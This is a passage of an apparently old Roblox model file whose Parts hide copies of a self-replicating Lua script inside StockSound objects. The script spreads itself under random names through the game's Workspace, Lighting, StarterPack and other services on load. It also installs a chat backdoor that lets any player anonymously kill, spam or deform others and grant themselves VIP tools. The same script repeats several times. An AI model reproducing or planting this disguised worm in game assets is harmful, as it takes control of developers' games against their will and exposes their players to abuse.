plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX562">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">21</int>
						<CoordinateFrame name="CFrame">
							<X>-9.78120518</X>
							<Y>0.887961507</Y>
							<Z>189.089081</Z>
							<R00>-0.885287762</R00>
							<R01>0.465043157</R01>
							<R02>0.000604039466</R02>
							<R10>-0.000680366473</R10>
							<R11>3.91795356e-006</R11>
							<R12>-0.999999702</R12>
							<R20>-0.465043068</R20>
							<R21>-0.885287881</R21>
							<R22>0.000312906661</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">3</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">P8</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0.00625899481</X>
							<Y>-0.000351006136</Y>
							<Z>0.00144866761</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.5</float>
						<Vector3 name="Velocity">
							<X>0.00206109299</X>
							<Y>0.00290243654</Y>
							<Z>0.00150139455</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">0</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX563">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">ah32</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX564">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">xk274ira</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX565">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-6.77122641</X>
							<Y>0.890274763</Y>
							<Z>190.670227</Z>
							<R00>-0.465043157</R00>
							<R01>-0.885287762</R01>
							<R02>0.000604039466</R02>
							<R10>-3.91795356e-006</R10>
							<R11>-0.000680366473</R11>
							<R12>-0.999999702</R12>
							<R20>0.885287881</R20>
							<R21>-0.465043068</R21>
							<R22>0.000312906661</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">3</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">P1</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">4</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0.00625899481</X>
							<Y>-0.000351006136</Y>
							<Z>0.00144866761</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0.00150274998</X>
							<Y>-0.00263349107</Y>
							<Z>0.00257239421</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">2</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX566">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">bmzo</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX567">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">kg0ec</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
